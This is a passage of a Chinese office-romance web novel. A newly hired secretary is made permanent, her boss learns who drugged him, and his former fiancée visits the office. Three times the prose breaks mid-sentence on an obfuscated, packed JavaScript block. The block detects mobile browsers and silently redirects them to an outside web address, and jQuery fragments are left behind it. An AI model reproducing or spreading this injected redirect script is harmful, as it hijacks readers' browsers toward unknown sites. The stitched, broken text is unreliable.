勤叔困惑:“不喜欢你把她带我这里来吃饭,不喜欢你不阻止我给她讲你小时候的事情?”
傅知尧调理清晰:“带她来吃饭是因为她上午帮傅许安拿到运动会奖杯,这是谢礼。不阻止您讲,是因为我想考验她是不是一个会随意散布老板八卦的人。再说了,因为没有换洗内裤所以拒绝洗澡难道很丢人?不过是爱干净而已。”
勤叔:“……”
这口吻,还和小时候一样高傲臭屁。
勤叔抬起大腿,膝盖照着傅知尧屁股来了一下,傅知尧措不及防,往前踉跄一步,差点摔在地上。
“勤叔!”他忿忿转头看勤叔。
“再见再见,我懒得瞧见你。”
勤叔手背在身后,朝公馆方向走,背影潇洒自在,留傅知尧大高个孤零零又无助地站在路口。
车上,虞晚和傅许安睁着两双圆眼睛躲在车窗后偷看。
傅许安捂着嘴,发出鹅鹅笑声:“虞晚姐姐,你看见我哥挥起来的手没?像大飞蛾!”
虞晚咬唇。
是很像,但她不能笑。
下午不需要‘加班’,虞晚得以免费乘坐大老板的车回学校。
从公馆到学校大概要一个半小时的时间,路上,虞晚和傅许安有一搭没一搭地聊天。
傅许安问虞晚有什么爱好,虞晚问傅许安参加什么兴趣班,傅许安问虞晚大学生活开心不开心,虞晚问傅许安每天作业多不多。
两人年纪差有十五岁,但也聊得津津有味,时不时爆发一阵笑声。
傅知尧拿两人聊天声音当背景音,竖起平板开始处理文件,仅一个上午过去,文件就堆积了一大堆。
处理到一半,傅知尧收到蔡秘书发来的消息。
蔡秘书已经查清楚了星玥酒店三十周年庆典当晚发生的事情。
给他下药、找来媒体大肆宣扬的人的确是陆屿森。
宴会开始前,陆屿森找到那位服务生,给了那人一大笔钱,让对方潜伏,好准确无误将下了药的酒杯送到他手中。
被发现之初,那位服务员还秉持着职业精神,收钱干活不出卖雇主,但听到蔡秘书说雇主是屿风集团总裁,就算出事也会花大价钱请律师辩护,什么责任都不会承担,最终,服务生抵抗不住长达一星期的禁闭,交代了一切。
同时爆料说给傅知尧下的药是最猛的那种,足以让傅知尧在事情发生后忘记一切,但服务生顾忌傅知尧的身份,下药时控制了分量,没全部倒进去。
除此之外,陆屿森还准备了一位不介意露脸的外围小姐,在原本的计划里,服务生会将喝醉酒的傅知尧送去楼上房间,紧接着,就是等生米煮成熟饭,媒体再冲进去拍照,假装发现傅知尧嫖.娼的证据。
情.色绯闻一旦闹上热搜,是最容易摧毁人声誉,也是最下贱、最没有道德底线的手段。
陆决风之所以出现在酒店是想赶在事发前阻止。
傅知尧看着消息,眼眸逐渐冷下来。
因为早有预料,傅知尧对真相并不吃惊,他平静地给收购部的总监钱喜成发去消息。
【我听说屿风集团这周和听彩短视频创始人汪步仁见过面,表达了收购意愿,听彩有没有收购必要,明天十点前将报告发我。】
24. 第 24 章
关掉手机,傅知尧视线被旁边靠在一起睡觉的两人吸引。
傅许安对虞晚带着一种天然的信任和依赖,圆圆的脸蛋靠在虞晚胸侧,脑袋枕着虞晚胳膊,一只小手搭在虞晚腹部,呼呼大睡,为了避免小朋友倒下去,虞晚一只手搂着傅许安,放在傅许安腰侧,几乎是将傅许安整个人抱在怀里。
不到片刻,虞晚的手因重力下滑,落到了他身侧,指尖隔着轻薄的西装布料擦过他的大腿,像是将一道细微而存在感十足的电流释放过来。
傅知尧猛地抓起虞晚的手扔回去,动静有些大,虞晚动了动,睁开惺忪的眼,“……是到学校了吗?”
傅知尧不自在清清嗓子,“还有十几分钟。”
听到老板的声音,虞晚这才想起今天开车的司机不是武叔,是和武叔换班的另一个司机,车前挡板升起,前排司机听不到他们聊天的声音。
虞晚下意识直起身:“啊好,谢谢老板送我回学校。”
傅知尧竖起手中的平板,视线瞥向旁边的虞晚。
她正在调整傅许安的睡姿,调整完,拿出湿纸巾给傅许安擦了擦脸蛋,傅许安无意识吧嗒了一下嘴,又重新靠回她身上。
虞晚有些无奈,她待会要下车,这样一直靠着她可不行,当即重新调整位置,让傅许安好靠在车座上。
就在这时,虞晚听见老板的声音,“虞晚,今天早上用电话将你叫醒是不是觉得很不爽?”
虞晚:“……”
虽然董总监和林特助一直强调不要对老板撒谎,但虞晚觉得,太直白的话说出来不仅不会博得好感,反而只会让人觉得缺心眼,所以很多次虞晚都是避重就轻地回答。
譬如此刻,虞晚说:“老板,谁都不会对三倍加班费生气的。”
这世界上还有人和钱过不去?如果有,那绝对不会是她。
傅知尧再次一噎。
尽管傅知尧早就知道虞秘书是个见钱眼开的财迷,尽管今早是他故意用三倍加班工资诱惑虞晚赴约,但不知为何,听到虞晚的回答,傅知尧还是有些许不爽。
他脑海里不自觉浮现出勤叔的心声:【别是人虞姑娘压根儿没看上他。】
切,他还需要虞晚看中?
追他的女人能从傅氏排到海江塔,他还需要虞晚看中?他缺虞晚一个看中吗?
傅知尧冷嗤一声,拿起平板,没给虞晚投去一个眼神。
虞晚早已习惯傅知尧的喜怒无常,默默收拾好自己的东西,下车后同傅知尧道谢,站在原地等载着老板的车辆离开。
傅知尧握着电容笔,在文件末尾批上自己的名字,半晌,还是转过视线。
虞晚拎着挎包站在原地,身形瘦弱纤细,分明那么矮那么瘦那么薄,当时是怎么把他从地上扛起来的?
浓郁的日光中,虞晚慢慢缩成黑色小点,车子拐过弯便彻底看不见她的身影。
傅知尧收回视线,为自己举动觉得莫名。
他是老板,总被小秘书的行为牵着走算什么。还是说,这就是听不见心声的后遗症?
忽然,傅知尧视线一顿,看到虞晚留在车内的那个纸袋,拎起来一看,纸袋里装着的正是今日她穿的那件T恤。
除了妈妈两个字,背面还印着傅许安画的画,她画了云朵、太阳、鲜花、还有六个手拉手的人。
凭借傅知尧对傅许安的了解,应该是爷爷奶奶、爸爸妈妈,他以及傅许安。
傅知尧目光停在傅许安画着的父母身上,两人牵着手,脸上带着灿烂笑容,中间是红色线条的爱心。
他手指轻抚过画上人的脸,声音有些低:“希望今天梦见你们。”
一旁傅许安小朋友身子一歪,倒在他身上。
傅知尧:“……”
隔天周日,傅知尧在老宅休息了一晚,晨起锻炼完,洗了个澡下楼吃早餐。
餐桌前,奶奶和傅许安已经开始吃了。
傅许安正摆弄她的新手机,像是在给什么人发消息,用两只手的食指噼里啪啦点着屏幕上的拼音,像是在敲击发电报似的。
傅知尧坐下来,傅许安还在发消息,他皱了皱眉,“傅许安,吃饭就吃饭,不要玩手机。”
傅许安当没听到,一边打字一边说:“哎呀哎呀,等等嘛,我在和虞晚姐姐聊天,虞晚姐姐说她已经吃完早餐正在工作,她起床好早呀,就是回消息速度有些慢,等我和她说完拜拜再放手机。”
傅知尧想起虞晚那个付款就死机不知道多少年前的老古董手机,轻嗤一声,“就她那个破手机,能收到信号就不错了。”
话音刚落,就见奶奶和傅许安同时投来视线。
和傅许安好奇的视线不同,奶奶马吟芳女士的目光带着探究意味,唇角的弧度却和蔼,透着点看热闹和八卦的意思。
傅知尧不自在咳嗽两声,若无其事地盛了碗粥,展开一旁的报纸看起来,颇有种欲盖弥彰。
马吟芳笑着摇摇头,看破不说破,昨天发生了什么,她这个老太婆可是门清儿。
收到傅许安消息时,虞晚刚打开电脑写了没多久的报告。
昨天陪傅许安参加亲子运动会,大概是体力消耗多,虞晚睡得格外香,今天早早就起床了。
吃过早餐,虞晚戴好帽子口罩和手套,将宿舍上下认真打扫了一遍,这才坐下来写三月工作总结。
工作报告这种东西虞晚上辈子没少写,写起来得心应手,手机里跳出傅许安消息时,虞晚还有些诧异。
停下打字的手给傅许安回消息。
傅许安同她吐槽傅知尧:【虞晚,你不知道,我哥好过分的,我昨天在车上睡醒,发现他把我心爱的奖杯倒扣在我的脑袋上![生气][生气][发火][发火]!】
虞晚看到这条消息,忍不住笑出声。
老板有点幼稚还会开玩笑这点,和老板相处这个月她已经体会到了些许,更何况傅许安是老板的妹妹。
好像兄妹关系好就会互相捉弄、抱怨,但实际上彼此都很喜欢对方,只是表达爱的方式不一样,呈现出来的形式也不一样。
傅许安会直白吐槽傅知尧,也会乖乖听哥哥的话,拿到一个奖杯就满足,傅知尧会陪傅许安参加运动会,穿上那件背后印着‘爸爸’的幼稚T恤。
于是虞晚打字回复:【奖杯重不重,压得脑袋疼吗?】
和傅许安聊完,虞晚继续写报告,不到半小时就写完
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15659254|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,检查了一遍错别字情况,去公司系统内点了提交。
距离虞晚初次入职傅氏已经过去了一个多月,但她在总裁办实习的时间却尚未超过老板定下的一个月。
剩下的一个星期左右的时间就是她最后可以争取的期限。
如果转正成功,她租房的预算能往上提一提,如果回到行政部,虞晚的租房预算还是原定的价格,位置离公司远点没关系,行政部员工少有加班的时候,工作相对轻松,通勤路上花费的时间可以拿来休息。
总而言之,不管能不能留在总裁办,虞晚都不会亏。
但虞晚还是想试一试,她觉得自己已经适应了总裁办的节奏,也跟得上老板的大致思路,只是在合作谈判这块稍显薄弱,如果因为老板没表达给她转正的信号就放弃不尝试,她肯定会后悔。
思及此,虞晚不再犹豫,开始复盘入职总裁办后遇到的项目,以及项目的后续跟进。
还是那句话,没吃过猪肉,总见过猪跑吧。
看繁杂的项目报告是表面的,学项目从策划到落地的逻辑才是最重要的。
虞晚埋头翻着文件,笔记上有关工作的内容又多了厚厚一摞,但她脸上丝毫不见疲倦,反而是汲取知识的满足和认真。
周一,虞晚元气满满去上班。
进入行政区时,仍旧空无一人,虞晚将挎包放好,开始新一周的工作——
整理老板的周行程表,需要调整的、需要提前告知相关人员的……,合作商的性格和公司经营情况等,这些和老板的工作息息相关,虞晚不能忽视。
而老板这周的工作重点,是一个叫听彩短视频APP的收购谈判。
这是老板昨晚临时发来的,说明听彩APP的收购原先并不在老板的计划范围内。
严格意义上讲,短视频算文娱产业,而傅氏对文娱产业的涉猎并不多。
这次收购谈判,是和听彩APP的创始人,即步可思议公司的老总汪步仁进行谈判。
傅氏收购的,不仅是听彩APP,更是步可思议这个公司,只是收购的重点在听彩罢了。
虞晚作为秘书,大概率会参与进谈判,但如果她像上回和禾延集团谈合作那般只会安静坐在角落当透明人,恐怕挨不到一个月的试用期就会被老板宣布结束实习期。
端茶倒水的事谁都会做,可如果能在工作上帮到老板,就意味着不可替代性提高。
虞晚看了眼谈判时间,正是这周四,这表明虞晚有三天左右的时间可以准备。
虞晚将傅知尧本周行程表处理好放到一边,立刻着手对听彩短视频的了解。
先是将听彩短视频软件以及步可思议公司的背景发展资料打印出来,紧接着登陆员工账号,查看公司公开过的收购、并购文件。
她毕竟是个小秘书,权限不够,能查阅的资料有限,但虞晚可不认为这些公开的资料没用。
公司不是慈善家,收购或者并购其他公司肯定是有利于公司发展的,要么出于战略发展需要,利用目标公司拓展市场,要么整合资源提高公司实力和品牌影响力,要么就是基于最简单的财务回报。
这些目的都能从收购、并购资料中找到依据。
25. 第 25 章
虞晚将资料下载打印出来,依次用夹子夹好,还没来得及看,手机闹钟响起,她提醒自己给傅总买早餐的时间到了。
虞晚将资料放入抽屉,拿着手机下楼。
大厦一楼有两家咖啡厅,老板最常喝的是一家叫Vinta的咖啡厅。
趁着排队的时间,虞晚看着屏幕上的菜单,思索今天该给老板买什么早餐。
傅知尧口味偏甜,但又不喜过于甜腻,所以他咖啡只喝拿铁,不喝诸如美式这样的纯咖,糖浆只加一半,通常是两泵或者一泵,早餐吃的可颂或贝果更是隔天就要换一个口味,同一种品类的早餐吃超过两次他就厌倦,至于包子或者烧饼这种味道浓郁油腻的食物,傅知尧看都不看。
虞晚很快选定,等到店员开口询问她的时候。
毫不犹豫:“一份温热的抹茶拿铁,奶基底换成燕麦奶,不额外加糖,外加一份菠菜虾仁蛋包三明治,三明治里不要放黑胡椒,打包带走。”
“好的,一份温热燕麦奶抹茶拿铁,无糖,一份菠菜虾仁三明治不放黑胡椒,一共八十四块钱,扫码还是现金?”
“扫码。”
虞晚解锁手机,刚点开支付页面,屏幕就玩起了死机,怎么动都没反应,虞晚往口袋里去摸钱包,空荡荡的,她今天下楼匆忙忘记带钱包了。
收银的店员还在等待,虞晚急得脸蛋燥热,正准备和店员说稍后付款,身后就伸来一只骨节分明的手。
男人低沉的嗓音响起:“一份意式浓缩加冰,一份酸奶油火腿可颂,额外加一些苦苣菜,和前面这位账单一起结,分开打印小票,分开外带打包。”
店员当即点头,动作利索下单:“好的先生,一共一百六十一块,这边是您的两张小票,请拿好,稍后在取餐台那边取餐。”
虞晚扭过头,看清了身后站着的人,是关彦轩。
结完账,关彦轩一言不发往取餐台那边走,虞晚跟着他身后。
虞晚有些拘束,主要是她觉得关总监不太喜欢她,只是碍于她挡在他前面,影响他买早餐,迫不得已出手。
但好歹人家帮了她,虞晚鼓起勇气打招呼:“关总监,好巧啊,你也来买早餐,刚刚谢谢你帮我结账,待会儿上楼我就把结账的钱还给你。”
关彦轩抬眼看虞晚几秒,仍旧面无表情,难得开口,但开口就给了她一刀:“不然呢,我来这边排队领鸡蛋?”
虞晚:“……”
好巧,巧你不懂吗?重点在巧!
虞晚在心底默默为自己正名,随后手里就被塞入一张小票,正是她为傅总买的两样早餐。
虞晚看着小票,心想,其实关总监就是人冷心肠热,没什么恶意,至于那些看她和看蠢蛋一样的眼神,可能是因为她长得的确不算聪明吧。
想到这里,虞晚露出一个笑容,诚恳道谢:“谢谢关总监。”
关彦轩视线落到虞晚嘴角边的两个小括号上,她似乎总是不化妆,扎着平平无奇的低马尾,发圈颜色只有棕色和黑色两种,见到她的时候总是捧着文件在走廊上来去匆匆,遇到认识的人,就停下来问好,也不管对方搭不搭理她,打完招呼就小跑着离开,即便不化妆,嘴唇也是自然的红润,笑起来的时候,眼睛亮晶晶。
关彦轩不动声色移开眼眸,将小票塞进自己口袋。
早餐制作要不了多长时间,很快,两人拎着早餐一同进入电梯,等待电梯上行。
虞晚拿出恢复正常运转的手机,小心翼翼询问:“关总监,我能加你一个联系方式吗,我好把早餐钱转给你。”
关彦轩瞥她一眼,什么都没说。
虞晚拿着手机僵在原地,见关彦轩没搭理她,虞晚也不生气,默默收回手机,“那关总监,我待会儿把现金送给你。”
直到电梯抵达三十二层市场部,虞晚才听到关彦轩的声音:“直接搜我电话号码加我。”
虞晚反应过来,点点头,赶在电梯关门前一秒说道:“好的关总监,谢谢您早上帮我付款,祝您心情愉快。”
关彦轩脚步停顿片刻,头也不回走向办公室。
电梯门关上,虞晚松口气。
如同往常一般,将早餐和漱口水放到傅知尧办公桌上,顺带给老板办公桌上杂乱的文件按顺序整理干净,拿着抹布这边擦擦灰那边擦擦灰。
等收拾得差不多,傅知尧推门进来。
虞晚:“老板早上好。”
“嗯。”
傅知尧应了声,坐到老板椅上,一手端起拿铁喝,一手打开电脑。
同老板核对完本周行程,虞晚带着笔记本安静退出办公室,回到工位上,搜索关总监的电话号码,发送好友申请。
等待关总监好友申请通过的时候,虞晚继续研究收购资料。
因为是在公司,时不时有任务找上门,虞晚看得零碎,一天工作结束还有一大半没看完,虞晚便将资料带回宿舍研究,
资料有些多,加上虞晚是初次涉及收购领域,阅览速度相当慢,一边看一边查询专业名词的含义,看完一本,还需对提炼出的收购要点进行整理,不知不觉时间就到了凌晨。
夜里,毛新灵起床上厕所,瞧见虞晚桌下的灯光,“虞晚,两点多了,还不睡吗?”
虞晚这才惊觉已经很晚,“抱歉,我是不是打扰你了,我马上关灯。”
毛新灵打着哈欠往厕所走,“这倒没有,但你明天不是还要上班嘛,你不怕你上班犯困?”
虞晚觉得她说的有道理,但周四就是收购谈判,虞晚怕自己不抓紧时间就没时间了。
确认没打扰到毛新灵,虞晚手脚利落收拾好资料,准备明天早起去公司看。
一夜无梦,只是熬夜的后果就是虞晚闹钟响的时候压根睁不开眼,虞晚没犹豫,将起床往后挪了一个小时。
到公司的时候已经九点,刚好够她买早餐上楼。
今天老板有一个跨国会议,虞晚为老板准备好润嗓的热茶和切成块的水果。
跨国会议一开就是两三个小时,这期间老板是不会叫她进办公室的,虞晚处理好手头的工作,继续投入对听彩视频APP的研究。
不知过了多久,直到侧方玻璃隔断传来敲击声响,虞晚下意识站起身,明白这是老板叫她有事,虞晚敲门进入傅知尧办公室。
“老板。”
傅知尧的跨国会议已经开完,他站在落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674857|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地窗前,见虞晚进来,下巴抬了抬,示意虞晚收拾桌上的茶杯和盘子。
虞晚将茶杯、盘子和叉子拿到洗手台前清洗,清洗好放入一旁烘干消毒柜里,消毒柜嵌在墙壁内,光看外表,压根不清楚这里面放着消毒柜。
当然啦,出入老板办公室这么多次,虞晚也算是明白了,老板的办公室装修豪横奢华,除了让人诟病的黑白灰三色,老板办公室不仅有洗手间、卫生间,还有宽敞的,摆放着一张大床的休息室。
虽然虞晚没能进去看过,但虞晚知道,里面肯定有个超大的换衣间,偶尔白天虞晚还看到傅知尧穿一身灰色西装,下午就换成了英伦风的花呢西装,就连领带也跟着变了一条。
在精致人生这方面,虞晚觉得老板是当之无愧的第一。
收拾好,傅知尧叫住她,“你在研究听彩短视频的收购,看出什么苗头没?”
虞晚顿时有些紧张,像是上语文课被抓包写数学试卷的那种紧张:“嗯,但我只看了一半,了解不多。”
傅知尧端起虞晚重新泡好的热茶,喝了一口,还是适宜入口的温度,他视线放在电脑上,嘴里的话却干脆:“下午有听彩视频收购的讨论会,把你东西拿上,一起听,做好会议记录。”
虞晚微微睁大眼。
老板行程表上没有这个会议,说明他不会参加,而老板让她去听,其实就是默许她参与进谈判,可以光明正大学习收购知识,这可比虞晚原先设想的结果好得多。
她连忙弯腰鞠躬,脸上笑容真挚了许多:“谢谢老板,我会认真学习的。”
傅知尧摆摆手让她出去。
虞晚轻手轻脚关上门,重新坐回座位,直到落座了仍旧收不住笑。
参加会议好呀,参加会议妙呀,要是能帮上忙,奖金手到擒来,就算帮不上忙,也能学到新知识。
稳赚不赔!
坐在老板椅上的傅知尧不知出于什么心态,电脑上文件没看下去几秒,溜达起来走到虞晚身旁。
就当开完会议舒缓筋骨。
隔着一道单向可视玻璃,傅知尧看到她弯起嘴角偷窃的神态,看她将嘴角的笑容压下去,拿出整理好的资料继续阅览,手里捏着笔,时不时做点笔记,漆黑细长的睫毛垂着,表情认真专注。
傅知尧静静站了好一会儿,拿起手机给人事何总监发去了一条消息。
没多久,傅知尧就看到虞晚接起一个电话,急匆匆走出总裁办,傅知尧眉头动了动。
下一秒,办公室门被人推开。
一道倩影走了进来,浓郁的花香调香水充斥鼻尖,傅知尧转过身,皱了皱眉,看向女人:“你来干什么?”
“听说你上周被人下药进了医院?”
傅知尧烦躁地拧眉:“你来我这儿就是为了问这个?”
女人耸肩,口吻满不在意:“我刚回国,这不是关心你吗?”
傅知尧嗤了一声,走到办公桌前坐下,“刚回国就知道我被人下药住院,你对我的关注显然超过了。”
“诶,话别说得那么无情嘛。”女人翘起张扬的红唇,坐到傅知尧对面的椅子上,“我毕竟是你的未婚妻,关心你不是应该的嘛。”
26. 第 26 章
虞晚还不知道老板办公室里来了客人,正忐忑走在前往人事部何总监办公室的路上。
她生怕是自己工作上出了什么问题被约谈。
人事部和直系主管不一样,许多话直系领导不方便说,怕把关系弄僵不利于后续工作,但人事部可以,当初人事部是怎么把人招进来的,就能怎样残忍地将人给踢出去。
虞晚满脑子胡思乱想,走到何总监办公室,发现何总监正等在办公室门口,看见她,和蔼可亲地打招呼。
“虞晚呀,你来了,快进来。”
虞晚有些意外何总监如此热情的态度,规规矩矩问好:“何总监好。”
何总监给虞晚端了杯水,“虞秘书别拘谨,坐,我们随便聊聊。”
察觉到何总监称呼的转换,虞晚不由得挺直脊背,接过纸杯:“谢谢何总监,您说。”
何城不是第一次见虞晚,但是第一次见成了傅总秘书的虞晚。
和初次一样,给他第一印象就是年轻。
大学刚毕业的年纪,连一个独立项目都没有做过,一个他认定会被傅总淘汰的小姑娘,不仅留在了总裁办,还比同批次实习生提前转正!
怎能不让他震惊。
而这些都不是最关键的,最关键的是傅总居然亲自给他发消息,让他联系法务部准备转正合同,提高薪资和绩效奖金设置,末了补充一句:“公示结果下午发布,有问题的让他们来找我。”
短短几句话,何城这个职场人精就嗅到了不对劲。
别说是公司里高管和老员工,就是傅总看中的林特助,当年也没这个特别叮嘱。
难不成,真如同外头那些人传言,虞晚凭借美色傍上了老板?
可何城怎么看都觉得虞晚不过是个还算清秀的普通小姑娘,哪里就入得了傅总那双挑剔的眼,再加上虞晚一副诚挚懂礼貌的样子,何总监凭借多年来干人事的直觉,并不认为虞晚是个靠特殊关系上位的人。
将八卦放到一边,何总监拿出专业态度来,同虞晚认真谈起她最近的工作情况、工作中遇到的问题等,顺带给虞晚解答了一些困惑,十足的知心老大哥形象。
虞晚的紧张在聊天中逐渐化解,直到何总监递来一份崭新的合同书。
合同?
转正合同?
虞晚抬头看向何总监。
何总监笑着开口:“虞秘书,翻开看看吧,这是傅总对你工作能力的认可和肯定。”
在方才的聊天中,何城差不多明白傅总为何会录用虞晚,虽说学历这块有所欠缺,但人品和肯上进的心这一块,傅总可从来没看错人。
不愧是傅总。
虞晚心头不停敲打着欢快的鼓点,她双手接过合同翻开,和她猜得没差,是给她的,转正入职总裁办的合同!
比起先前的合同,这份合同更为正式,补充协议内容全面,涵盖了每月基础工资和待遇奖金,加班费用也写得清清楚楚。
虞晚快速在心底算了一笔账,每月基础薪资税后一万五,加上全勤、绩效奖金和各种补贴,她每月到手工资至少有两万三!
别说是租三千的房子了,就是租五千的房子都没问题!
压抑住心头的激动,虞晚眼睛亮晶晶地同何总监道谢:“谢谢老板对我的肯定,也谢谢何总监,我会继续努力的。”
签完合同,虞晚走出办公室,走廊上没人,她才敢让心脏肆无忌惮地跳动。
虞晚满脑子都是转正成功后的薪资待遇,除了令人心动的工资,每年还有一次部门公费出游的机会,这相当于免费旅游,她能不开心吗?
开心到爆了!
上辈子的她连海市都没踏出过。
但虞晚不能表现出来,她还没毕业就成功转正留在总裁办,太招摇太显眼。
另一方面,虞晚对自己能成功转正也存疑,除了纽裕禾广告拍摄时给出了一点意见参考,她好像什么其他贡献都没有,这样的转正势必会招来其他人的质疑。
虞晚如果自以为坐稳老板秘书的位置从而肆无忌惮,按照傅知尧的性子,她可能真的终生不会被傅氏旗下任何一个公司录用。
想到这里,虞晚激荡的心情逐渐变得平缓。
转正什么的不稀奇,能一直留在总裁办升职加薪才稀奇。
虞晚踏着坚定的步伐往老板办公室去,路过总裁办,注意到有人站在自己工位旁,低头翻找着什么。
虞晚推开门,喊出那道身影的名字。
“赵予书。”
似乎没料到虞晚回来这么快,赵予书的手还落在她整理的那些资料上。
看到虞晚朝她走来,赵予书收回手,不紧不慢地撩起耳侧的头发,装作什么都没发生地笑了笑。
“虞晚,我来给你送文件。”
“你动我资料了?”
虞晚目光如炬,看得赵予书浑身不自在,她否认:“你是说你桌上的资料?我只是看有些乱帮你摆整齐而已,你不会生气吧。”
虞晚从赵予书手中接过文件,脸色相当冷,“和我生不生气没什么关系,是你太没分寸,随意动我的资料,如果我的资料是需要保密的资料呢,出了问题责任你负得起吗?”
“我……”
赵予书还是头一回被虞晚如此直白回怼,一时哑然。
总裁办此刻只有她们两个人。
赵予书找回底气,“对不起行了吧,就算有什么资料我不能看,你一个还没转正的小秘书就能看了?说不定最后你还是会回到行政部,大家都是同事,你非要和我把关系闹得那么僵?”
如此不讲理的逻辑让虞晚恼火,正要说话,蔡秘书从窗外走过,赵予书立马换了一副口吻,打断她要的话。
“虞晚,文件我已经送到了,你看看有没有什么出错的地方,有问题找我,我先回办公室了。”
说着,快步离开总裁办,走的时候还和蔡秘书打了个招呼。
蔡秘书点了下头,走进办公室,注意虞晚脸色不太对劲,关问了一句:“虞晚,你怎么了,是不是身体不舒服?”
虞晚轻轻呼出一口气,“没什么。”
总裁办公室内。
郁瑾潼仗着总裁办的两人看不见自己,近距离看了一出戏。
她朝傅知尧抬抬下巴,“嗯哼?这位就是你新招的秘书?叫虞晚?”
“嗯。”
“她好像被这位女同事针对了耶,看这位女同事的表情,似乎不是第一次这么做,不打算以老板的身份出面说说?”
傅知尧头也不抬,脱口而出的话十足冷漠:“我是她老板还是你是她老板,如果连同事关系都处理不好,何必留在总裁办,趁早回家种地。”
“太无情了。”郁瑾潼转过身,啧声连连,“你就不怕小秘书心灰意冷跳槽?”
傅知尧签字的动作微微停顿,“那是她的选择。”
片刻,办公室门被敲响,那位小秘书走了进来。
看到座椅上美艳的女人,虞晚一愣,朝她微微躬身问好。
有外人在场,那她刚刚准备的拍马屁的话还要不要说呢?
不等虞晚思索完,座椅上的女人盯着她笑吟吟开口:“你好呀,我是你们傅总的未婚妻哦,我叫郁瑾潼。”
轰隆一声。
虞晚感觉自己被八卦的雷劈了个里熟外焦。
也对,这是一本古早言情文,老板是男主,还是帅气多金的王老五,未婚妻是标配。
下一秒,虞晚听到老板的声音:“一个假身份总挂在嘴边,我们八百年前就解除婚约了,别拿这个骗我秘书。”
虞晚瞳孔骤缩:“!!!”
她是不是该说老板对她太过放心,怎么什么八卦都让她听去了,不要啊,她对老板的八卦一点兴趣都没有!
知道得越多死得越快这个道理她懂得不能再懂。
傅知尧翻开面前的文件,见虞晚站在原地,看她:“有什么事?”
虞晚收回震惊的表情,把准备好拍马屁的话吞回去,朴实无华地同傅知尧道谢。
“老板,我刚从何总监那边签完合同回来,谢谢老板对我的信任,我会继续努力工作,为公司鞠躬尽瘁,我要说的就是这些,既然老板有客人我就先回总裁办了。”
“嗯。”
傅知尧表情不咸不淡,看不出什么情绪。
虞晚识趣告退,离开前,给坐着的女人倒了杯热茶,“郁小姐,小心烫。”
既然来了,都是客人,既然是客人,自然要奉茶。
郁瑾潼有些诧异,慢半拍接过茶杯,朝她露出一个明艳的笑容。
虞晚回以笑容。
想起什么,虞晚转过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688707|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,恭恭敬敬问傅知尧:“老板,今日午餐需要订双份的吗?”
郁瑾潼赶在傅知尧前面回答:“双份,好久没蹭过你们傅总的饭了,我要吃牛排,肋眼七分熟,谢啦。”
见老板没反驳,虞晚点点头,“好的,我知道了。”
办公室门重新合上。
傅知尧听见郁瑾潼的心声。
-【该死的傅知尧,为什么一个小秘书都这么可爱。】
不是所有人都像虞晚那样,单纯地将她当一个客人对待,很多时候她去谈生意,那些老总的秘书都会用异样的眼光扫视她,好像她因为长得太漂亮,就一定是靠身体上位获得一切。
不屑、轻蔑、鄙视、傲慢……太多太多。
对比之下,小秘书干净得有些过分可爱了,让她都忍不住想挖墙脚。
郁瑾潼清清嗓子:“你怎么突然开始招女秘书了,稀奇啊。”
稀奇是真的稀奇,据郁瑾潼所知,傅知尧可从不用女性当秘书,一是觉得麻烦,二是觉得麻烦。
毕竟老板和秘书之间闹出来的绯闻不少,不管有没有发生什么,总会被其他人恶意揣测,要是招了个心思不正的,不仅影响心情,更影响工作。
傅知尧没回答她,声音冷漠:“有事就说,没事就滚蛋。”
郁瑾潼:“……”
-【脾气一如既往糟糕,要不是一张脸长得好看,谁愿意来他公司,虞晚能待在他身边只能说明她是个能干成大事的人,有这忍耐力,埃及金字塔都能徒手建立起来,简直是世界第九大奇迹嘛。】
傅知尧:“……”
他翻文件的动作一顿,掀眸看她。
郁瑾潼无辜眨眼,“当然有要紧事情,这周六我有个家宴,你来一趟吧,刚好谈谈合作。”
傅知尧和郁瑾潼的婚约是两家长辈定下来的,但在两人长大后,傅知尧父母看出来他对郁瑾潼没那个意思,不愿意干预傅知尧未来伴侣的选择,于是主动找上郁瑾潼的父母。
双方坐在一起吃了顿饭,和平解除婚约,但对外,傅家和郁家依旧是亲密的合作伙伴。
在傅知尧父母去世后,郁瑾潼父母还庆幸和傅家早早解除婚约,只是郁瑾潼念着傅父傅母的好,私下给予了傅知尧一些帮助。
因此,傅知尧一直没间断和郁瑾潼的合作。
郁家情况挺复杂的,主要是郁家爷爷奶奶那辈太能生,以至于郁瑾潼不仅兄弟姐妹多,伯父伯母、姨妈姨夫也特别多。
继承遗产这种事情,按照人头分配,到郁瑾潼手中的不过寥寥五百万。
郁瑾潼不愿意输给那些人,知道傅知尧对她没那么意思就放弃了联姻这条道路,转而寻求起合作。
